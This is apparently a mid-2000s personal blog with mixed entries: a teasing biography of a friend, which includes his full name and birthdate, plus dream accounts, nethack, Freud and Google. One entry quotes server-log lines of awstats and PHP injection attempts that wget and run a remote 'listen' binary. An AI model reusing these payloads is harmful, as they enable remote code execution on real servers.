Ok, my friend Pesh has been wanting a blog entry devoted to him for a long time, so this is what I'm going to do this Monday afternoon at 3pm. Bear in mind that most of my Pesh-knowledge comes from interacting with him over the years -- it's primary source. So, the re-telling of history requires some writing about me, just in case you were to roll your eyes and think "My God, he can't stop writing about himself for one second."
Name: Alpesh Dilipkumar Gor
Aliases: Pesh, Parsh, Alper, Alp, Peshy, Al, Opilý Opice, Broken Toy, Brown-Skinned Boy, Dark One, Alpfart, Pfart, Alpass Go, Bloody Bastard
Birthdate: Novermber 18th, 1975 (30 years old now)
Height: about six feet
Weight: about 200 pounds
Chances he'll get upset and accuse me of propagating disinformation: medium-high
Chances I'll go back and correct anything: zero
Alpesh D. Gor was born to Dilip and Bharti Gor on November 18th, 1975, in Kenya, the middle of three children. I believe he was born near or in Nairobi, or possible in Mombasa; not in the middle of the plains, at least. His long middle name, shared with his two other siblings, is his father's first name. A father's first name becoming his children's middle name is an Indian practice, or so I'm told.
The years in Kenya (I don't know how many of them there were; between five and ten, probably) were notable for injuries to Alper's achilles tendons, or to some part of his ankle mechanics. He tells stories of being dangled upside down from the ceiling to help them heal. Kenya must have been the place he picked up his appreciation for and interest in animals -- they tend to be on his mind, and come up in conversation.
He enjoyed "The Lion King," and used to have a poster of a lion bloodily eating a big chunk of dead-something on his wall. Then there was the "dugong" incident, when we were in high school: out of any conversational context, he sudenly brought up the dugong, which is a fat seal-like creature, related to the Florida manatee, that lives in the Indian Ocean, including off the coast of Kenya. There are other examples of Pesh's animal-enjoying, but I can't think of them, except that he's always been a dog-lover.
After Kenya, he lived in England, possibly in London. Pesh tells me stories of his two dogs named "Explorer" and "Something." "Boxer," I think. I can't remember. Anyway, they met with some traumatizing and tragic end that I'm also fuzzy on.
I don't know much about the England years (read: anything whatsoever), except I was told that he retained an accent and manner of speech for a while when he came to America with his family, when we were both in seventh grade. I didn't know him back then, and wouldn't until 10th grade or so. His big thing was computer games (for along time he had an "Ultima III" poster up in his room, before deciding it was too geeky and taking it down), something that continues. I think I developed a dim awareness of him in 9th grade or so, perhaps, when he was friends with this kid named Josh Chai. Josh may have been the source of the whole video game thing.
Pesh was in a few classes with me, notably art class, which he tended to blow off and cause a disturbance in, and it was around then that he and I started hanging out in earnest. Two very early incidents: 1) my entering into his house at night to visit him, and in the process inadvertently breaking his basement window. 2) I broke in during the high school lunch break and drank all of his liquor. Those were good days.
Pesh was always a friendly guy, smiled a lot, liked to interact, etc, and so everyone tended to like him, the upshot being that he was an auxilliary member of more than one clique, and had a lot of "good acquaintances," as it were.
At some point he became a member of my idiotic little clique, composed of people who were smart-ish and dork-ish, but who were so brainwashed, beaten and hammered into obeisance that they accepted the conformity of the whole preppy style, and tiptoed down the hallways as quietly as possible. The sort of people you don't see in HS, because they're so insignificant. Somewhere in the nether-regions between cool affected weirdo (alternative), preppie and nerd. This was me, and Pesh joined us, even though he sometimes giggled about how dorky we all were.
Around this time, Pesh discovered The Drink. I think he picked this up from his football prep buddies. Also, he had started to hang around with me and two other kids I was friends with, who went to a different school. We were just getting into The Drink too, so it all progressed smoothly vis-a-vis Pesh. Anyway, we all drank quite a bit -- we hit it pretty hard, so to speak. There were incidents involving pickup trucks being driven in fields, smashing heads on the ground after drunken falls, various woods, puking, etc. All a big blur. Later in life, it became more a social thing for Pesh, with him knowing bartenders, regulars, etc, at a variety of Gaithersburg dives. This practice continues.
After high school, in the early years of college, Pesh was socially active in a downtown sort of way -- he'd go out to dance clubs, bars, and so on in Bethesda and DC, until he realized that was retarded a few years on down the line, and decided to focus his social efforts in a way that resulted in less gasoline expenditure. Going downtown to look sly and hip while drinking alcohol in buildings at night is an affectation of the young -- one might as well drink alcohol in buildings at night in one's hometown, or even, upon sufficient enlightenment, forgo the buildings and/or night.
Shortly after I freaked out and came back home from college after a month, Pesh and I, and those two friends (along with some others, and still some others that were members of that orignial high school clique), hung out again. These were the golden years -- between 19 and 21. We played basketball, drank, hung out, drank...drank...I'm sure there were some other things. Anyway, it was a lot of fun. It's also notable that Pesh and I followed really similar courses, college-wise: we both started off at a respectable institution, and moved on to an extended and spotty community college career, and then to finish up at a "real" college, albeit one less prestigious than the one we'd started at, some eight years ago.
We graduated literally within weeks of each other. The only real difference was that he segueued from his initial college to the community college gradually, then may have gone back to his first college, was taking courses at both, took semesters off, etc etc. I, on the other hand, stayed at the community college, never going anywhere else.
By the way, I think our high school GPAs were pretty similar too -- a high 2.something. Awful, awful. Pesh finished out his degree in Information Systems at the University of Maryland, Shady Grove Campus.
Sometime in the midst of all of this I had my big accident, but things continued in a similar way (minus the drinking, which was being phased out anyway), except pesh had taken to spending a lot of time with his girlfriend at the time, Shazia, so we didn't see him as much. He may have had a weekday job at that point, but I don't think so.Our more normal friends graduated, got married, got jobs, and moved away, so Pesh and I were sort of left in a lurch -- left in Gaithersburg to decay.
Pesh Jobs: Giant Food in high school, bagging groceries. Bresler's Ice Cream, near his house, where he worked for a day or so for an Indian woman who put him in charge. She was later fired, or something or other bad happened. She didn't train him, and left him alone at the cash register to serve ice cream. I helped out, and we charged random prices for ice cream. This was also back in high school.
In 11th grade, he and I volunteered at Shady Grove Hospital, as "greeters,," or something like that. We sat in a little booth next to the entrance walkway, along with a permanent, paid employee named Alberto, who told us about his dog "Tuti," who ran away. From there, Pesh got hired as a front desk receptionist, a position which gave way to an ER helper, to a security guard, and finally to a bona fide hospital cop. The job was always on weekends, and continues to this day.
For a while, this was his only job, and he and I used to hang out somewhat often during the weekdays (this was recently; maybe two or three years ago) and watch bad movies down at the theater. Remember, all of our friends have gone -- existence has become more null and void, and quieter, or perhaps more Zen.
Pesh has done some project-oriented work for some nearby defense contractors, doing I'm-not-sure-what. Something to do with computers, suffice to say. Then came his first "real job," at Marriott, Inc. He does tech support at one of their hubs for Marriot hotels across the country, or possibly in Maryland, or possibly on the east coast.
If some hotel clerk somewhere has issues with the computer reservation system, Pesh goes and takes a crap on him. That sort of thing. Anyway, the upshot of this "real" job is that he's got some money, and can buy various things, such as an SUV with a DVD player installed inside (don't ask me). Pesh has always enjoyed buying clothes and electronics -- an enormous collection has accumulated over the years, augmenting a mass of posessions that includes all of his old Transformers (more than meets the eye), which are still stacked up neatly and visibly on a shelf in his room.
Come to think of it, Alp has always enjoyed buying stuff, in general. His first car, a 1993 Nissan Altima, was his trademark for twelve years. Of course, elaborate sound systems were installed, changed out, re-installed, etc. Air fresheners dangled from the rearview mirror and were plugged into the air vents. There was always a load of belongings in the trunk, sort of like a turtle carrying its house with him. Windows were tinted, fog lights installed, and various other additions tacked on, ripped off, and tacked on again. I should also note that working on his car in front of his house was another trademark.
At somepoint, there came the Great Shift of the New Millenium, druing which Pesh shaved his head, got tattoos, put on weight, became a hospital cop instead of just a security guard, and started using a few colorful colloquialisms such as "mo'fuckaaaah!!". So now, he's a fashionably-tough, grinning, large hoodlum driving an SUV around and working in computer tech support, and bludgeoning madmen into submission at the local hospital, which has had past accredation problems.
He used to do errands, work on his house, and shuttle his family members around, but that's pretty much stopped, I think, since he now works seven days a week. Pesh picked up the habit of irregular sleep-patterns by working the graveyard shift at Shady Grove, years ago, and still tends to be sleeping at odd hours when I come to visit, unannounced, which is the only way to do it.
First off, he lived in that house with his mom, dad, brother and sister. Then, just his sister. Then, just his parents. Then, brother and sister came back for periods. At one point his cousin was there. At one point his sister-in-law was there, along with his brother. The only constants have been Pesh and his parents, who comprise the contents of the house now.
I've been looking over medical records of my two-week stay at howard university hospital, after being creamed by that nissan maxima in 1997. Here are a few bits I've found that note atypical treatment events:
...the patient's course was remarkable for continued nerruological improvement after the wearing off of the sedation...
Another record from a follow-up dated the 23rd of June, 1997, states:
Remarkably, the patient has made significant recovery to date...
Impervious to injury, superhuman regenerative powers.
The remainder of this patient's hospital course was remarkable for subtherapeutic Dilantin levels requiring multiple loadings...
Superhuman metabolism -- also falls under the category of "impervious to injury" (think of it as "resistant to poison"). This is in agreement with repeated, more current findings, both professional and personal (tee-hee): I need a lot of drugs before I feel anything.
Finally, my favorite:
On June 1, 1997, the patient self-extubated. He was able to move his head and remove the tube with his left hand although he was restrained.
Superhuman strength (rawr).
Clearly the only conclusion is that I'm a superhero, and deserve an entry in the marvel directory. "internet man"?
Some cretinous taiwanese computer is trying to access weird things:
61.222.95.125 - - [16/Dec/2005:19:02:39 -0500] "GET /awstats/ awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2021 6%2e15%2e209%2e12%2flisten%3bchmod%20%2bx%20listen%3b%2e%2fli sten%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1" 302 0 "" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" 61.222.95.125 - - [16/Dec/2005:19:02:45 -0500] "GET /index2.p hp?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option ]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_ path=http://81.174.26.111/cmd.gif?&cmd=cd%20/tmp;wget%20216.1 5.209.12/listen;chmod%20744%20listen;./listen;echo%20YYY;echo | HTTP/1.1" 302 0 "" "Mozilla/4.0 (compatible; MSIE 6.0; Win dows NT 5.1;)"
Dear cretinous taiwanese computer,
I don't have a php index, and I don't run awstats. Go h4x0r someone else.
Sincerely,
D34D84RN4CL3
I searched my entire server log for "index.php" and "awstats," and I see lots of hits like the two above. They're probably coming from worm-ridden computers scanning the net for IPs serving port 80, and greedily hoping for outdated versions of awstats or php to be running on them. That is, this scenario, as opposed to a single cackling taiwanese, hunched over his computer and trying to break into my server; most attacks like this one are automated, coming from innocent users' computers that have been compromised, hijacked, and forced to perform unspeakable acts. Wormy wormy.
There's a lot about that awstats exploit on the web, actually. php exploits exist, but I can't find (and don't really feel like hunting for) references to the specific one that's being tried on my machine. Or, maybe I'm logging more than one kind. I dunno. It's not all that interesting to me, especially since they're harmless attacks.
It seems that both attacks rely on the assumption that I'm running unix (i see unix commands in the urls of both attacks), as well as taking advantage of things that aren't there, and as well as taking advantage of outdated versions of those things. Not very effective, to say the least. Also, the attacks are on a unix system, coming from a computer running windows. I think it's unlikely that an uber-cracker would do this. I win.
Speaking of h4x0ring, I wrote a batch file, involving such mysterious and laberynthine tasks as "running programs," "copying files," and "changing directories." I'm being sarcastic. But it's funny how text commands make me feel elite, even though I know better. And it's not just me, either; lots of kids beam with hackerish pride if they rename a file in unix.
Anyway, here's what I did: put my web stats on the web. It's not a cgi executable or anything -- you can't update them yourself via web interface. But, whenever I do it, stats are copied to the server, so browsers can access it if they want.
OR EVEN IF THEY DON'T WANT! PEOPLE LIKE ME! BECAUSE I FORCE THEM TO! WITH VIOLENCE! (apologies to a.t.h.f -- check out the quotes.)
Nevermind. I took them down. My name is on them, as are the locations of hidden pages.
If I had left them up, you would have seen that "deathpigor" is my computer's name, after a boss in rygar. A "boss" is a sprite (a little autonomous video character running around, doing stuff) in a video game, whom you have to virtually defeat in order to advance to the next virtual level. I keep pretending to write this sort of stuff for my grandmother, and I realize that I'd have so many recursive definitions that entries would quickly become unmanagably long. So, I take the middle path.
Anyway, "rygar" is a video game, originally in the arcade back in the 80's, and then later for the 8-bit NES game console (think "super mario brothers"). Now, it's a full-blown modern video game, with the characteristic boring, uncontrollable game play and stupid little movies. If I wanted to see friggin "toy story," I would have rented friggin "toy story." if I want to play a video game, I'll dig out my super-fami-com and play "ice climbers," thank you very much. Or, at the very least, I'll start up my NES emulator and play one or two levels of "super mario brothers" until I get bored and go watch "Star Trek."
If I want an adventure, I'll play a MUD (Multi-User Dungeon, a text-based game where you navigate around in some virtual world, collecting stuff, killing stuff, interacting with other players, solving puzzles, etc), and not "world of warcraft." however, paradoxically, "world of warcraft" (WoW) is a MUD. In both WoW and classic MUDs like "nethack," there is a central server that calculates character positions, attributes, inventories, etc. Actually, with classic MUDs there may not be a central server. Oh well. Both are network-based.
WoW relies on very CPU-intensive software running on the user's computer to translate that server information into 3D modeled images and digitized sounds. This is just the user interface -- it's not the game. The game is on a server somewhere, and is more or less like nethack. Nethack, instead of relying on maya-generated images of drooling orcs to titillate the user, provides a text representation, and the user uses his or her imagination. Here (courtesy of sdf.lonestar.org):
------
| | -----
------- #. .######. |
|.....| #| > | | |
|......###########################------ | |
|.....| ###### | |
|......######## # # -----
---.--- # #####################
######### ### ### #
# # # # ###
### # ### ---------### #
# # # |@......+# ##
-|------+------- ##........| -------.---
|..............| |.......| #. |
|..............| |.......|#####| |
|...............### --------- | |
|...........<..| | |
---------------- | |
# -----------
#
Barnacle the Rambler St:17 Dx:11 Co:11 In:13 Wi:7 Ch:16
Dlvl:1 $:111 HP:10(10) Pw:2(2) AC:10 Exp:1
And then when I quite the game:
Aloha barnacle the Tourist... You quit in The Dungeons of Doom on dungeon level 1 with 84 points, and 111 pieces of gold, after 269 moves. You were level 1 with a maximum of 10 hit points when you quit.
The nethack screen hath fattened my blog.
Tee-hee. Really, it's exactly the same as WoW. In games like WoW, you don't "fight" enemies the way you did in say, ninja gaiden (ie, looking for openings, blocking, hitting the fire button when needed, etc). Instead, you make sure your character is strong enough to take on another, and then "roll the die." I think. At least in part. Anyway, WoW ain't nothin' but a souped-up MUD. QED.
Getting interested in web-work requires the dellusion that anyone besides yourself gives a shit about what you're doing.
I'd like to see published an "Illustrated Encyclopedia of Weird Ugly Fish." there are many horrifying specimens in the deep, not least of all the oarfish. Years ago I had a disturbing dream that I was fishing from the beach of a lake in minnesota, where my family and I used to vacation. The beach, water and sky were grey-brown, and each blended into the other. I had a long fishing line, and was pulling huge, hideously deformed fish from the water, one after the other.
In another dream, I was sinking down into the depths of a quarry that friends and I used to visit for swimming, campfires and the like. As I fell into the dark water, the view of sunlight on the surfaces fading as I went deeper, an impossibly low organ note sounded, so low that it was more felt than heard. The inspiration for this conjuring came from my one of my favorite bach pieces, "passacaglia and fugue in c minor," where the repeated theme is played as a bassline on the organ pedals. First off, the theme is played without any companion harmonies, and that low "c" is something like 5 Hz; you can feel your inner-ear fluid vibrating. That's an exaggeration, but it's damn low.
Weird ugly fish are great; I can't get enough of them.
Both dreams were about bizarre, frightening, yet somehow attractive qualities of water. Specifically, the "mysteries of the deep" -- that which lies unknown, even in places with which we think we are familiar. Furthermore, my feelings about the experiences in the dream (fascinated and delicious horror) might indicate my feelings about exploration of these obvious-yet-hidden "places" in "real life."
I hope I'm not getting too freudian by stretching my symbology to the limits of specificity. I don't think so -- I'm not talkiong about how the ugly fish represent my various penises. Freud says that fish represent penises. Freud says that just about everything represents a penis -- basically anything that's longer than it is wide.
It's interesting the way western psychology harps on phallic symbols, but ignores uterine symbols, which are just as plentiful. Why do you think women adore little decorative boxes and containers that serve no purpose? Anything hollow is a uterine symbol, just like anything oblong is a phallic symbol. A tube (both hollow and long), of course, represents the divine union -- the holy transsexual. Think about that next time you sacreligiously toss out a spent paper towel tube.
Analysis of thought and behavior from the "collective unconscious" or some shared set of symbols seems like oversimplification to me. It might not be good to assume that everyone's experiences and interpretations of events are similar enough to pidgeonhole and classify them according to a single schematic; we don't all have the same unconscious language.
The more freudian side of psychology is very much like a horoscope -- any analysis can apply to anyone. However, discarding freud doesn't mean discarding all of psychology. Understanding and assigning the mental causes of behavior isn't the same as searching a freudian crockpot and pulling out symbolic associations. If someone kills cats and hangs their skins in his backyard toolshed, and it turns out he was severely abused as a child, then it doesn't take a rocket scientist to assign some causality there.
Of course that's a really obvious example, but we can make good predictions of the relationship between behavior and experiences (or genetics) without delving into something like freudian/jungian symbology. Another trivial example: if someone was poked with christmas trees all day every day while they were a kid, they probably aren't going to put up any christams trees as adults, and will become uncomfortable when they're around.
Now, if you say that someone's fear of christmas trees has to do with a fear of death, because pine trees universally, in everyone on earth's mind, symbolize the grim reaper, then I start wondering about how much of freudian psychology is really psychology instead of a literary tradition. Are our experiences, our cultural backgrounds, so similar that the freudian analyst can make a statement like this? What about a client in madagascar? Maybe it's not disputed that this collective unconscious is culturally determined. But do any two people really share enough of a culture to have identical symbolic lexicons?
Results 1 - 6 of about 36 for "weird ugly fish". (0.35 seconds)
Really though, only six results, because of redundant pages. There would eventually be seven, except google finally got sick of my moving my site around and said "fuck it, I quit," and to my knowledge my blog has vanished from the cache. So many webmasters are slaves to google -- it's really unfortunate. One of the first things someone with a webpage wants is to "get into google." this is totally understandable, of course, but that doesn't make it less loathesome. How did we reach a point where the web is utterly dependent on a single company? The web in its ideal form was supposed to be a navigable web of hypertext, with each site thoughtfully linked to others; there wasn't this centralized nexus of the almighty google.
I like how microsoft has stated that "google is currently ahead of us in search," and that that's an area they want to break into and eventually dominate. Surprise surprise, eh? "chef paul prudhomme is currently ahead of us in veal parmesan preperation, and that's an area we want to break into and eventually dominate." I've been reading too much slashdot lately. I need to cut down, lest I fall irretrievably down into the depths of that subcultural pit. Disastrous.
I can't decide which I like better: looking nice or food. I'm afraid it might be food. Health doesn't worry me, even though that's probably a stupid way to think. At least I don't smoke -- my lungs are still clearing out after something like two years of not smoking at all. Either that or I've become obsessive-compulsive about clearing my throat, which is a possibility. Probably a bit of both.
The fatty on a job interview appears greedy and without self-discipline. Sometimes fatness is a reliable indicator of these things, but I've known a few fatties who are quite disciplined in other areas. My sage ex gave another reason, which appeals to me because it's darkly cynical: if you have two people, one ugly and the other good-looking, with identical qualifications, why not hire the good looking one? People prefer to be around good-looking, non-morbidy obese others.
I'm lazy.
The night before last, I dreamed a strange dream. I wanted to blog it right after, but my blog-space for that day (not to mention that page) was already quite full, and I didn't want to blatantly switch subjects, even though I've been known to do that in the past.
I fabricated a passage in the torah, which read something like "if thou havest no children, thy salary shall be 11,445 talents a year" (as opposed to if you do have them, in which case your salary shall be bigger). Bear in mind that, even though I say "something like," that I remember the number clearly.Then, in the dream, I wondered why an arbitrary number (something used as a general reference, or inherently imprecise estimate) would be 11,445, as opposed to 11,000, 10,000, or even 11,500. It's very unlikely that even by modern calculations an estimate would come out as precise as 11,445, for a statistic of that nature.
Then I realized, continuing in the dream, that this unrounded-looking number was used because 0 had not been invented yet, as a concept (fact I picked up somewhere). There would have been no reason to choose 10,000 or 11,000 or 11,500 or 11,400 over, say, 11,445, because those are all just numbers to the ancient hebrews. No one number is no more significant than the other; there's no reference point, like the one the modern "0" placeholder provides. Every number is just a number.
The concept of a number "being" a null set, somewhere to start, wasn't around ca. 4,000 BCE. This is not to mention, of course, that the "multiples of 10 place system" (or whatever you call it) hadn't been invented, either. Ancient hebrews might have referred to our "roughly 11,445" as something like "IIIIII multiplied by IIII multiplied by IIIIIIII multiplied by IIIIII multiplied by IIIIIIIII," and then referred to this in some kind of shorthand so that it would fit on a sheepskin scroll. Tee-hee.
11,445 is actually an imperfect example, because it factors into 5, 3, 7, and 109, 109 being prime. But, I didn't do the calculations in my sleep.
If hebrew scribes, accountants, or whatever, had picked as their estimate 11,500, this would have been coincidence; the 0's in this number are a result of our system of numeric notation. 10,500, as it would be referred to by the ancient hebrews, contains phantom 0's, and is not a significant number in any way.
Maybe the key to solving problems in a dream-state is to somehow induce a dream about a problem, and then remember to mutter "i wonder why" in the dream.
I took out the pipes (this character: | ) between the page-numbers on my index page. I'm not sure why they were there to begin with.
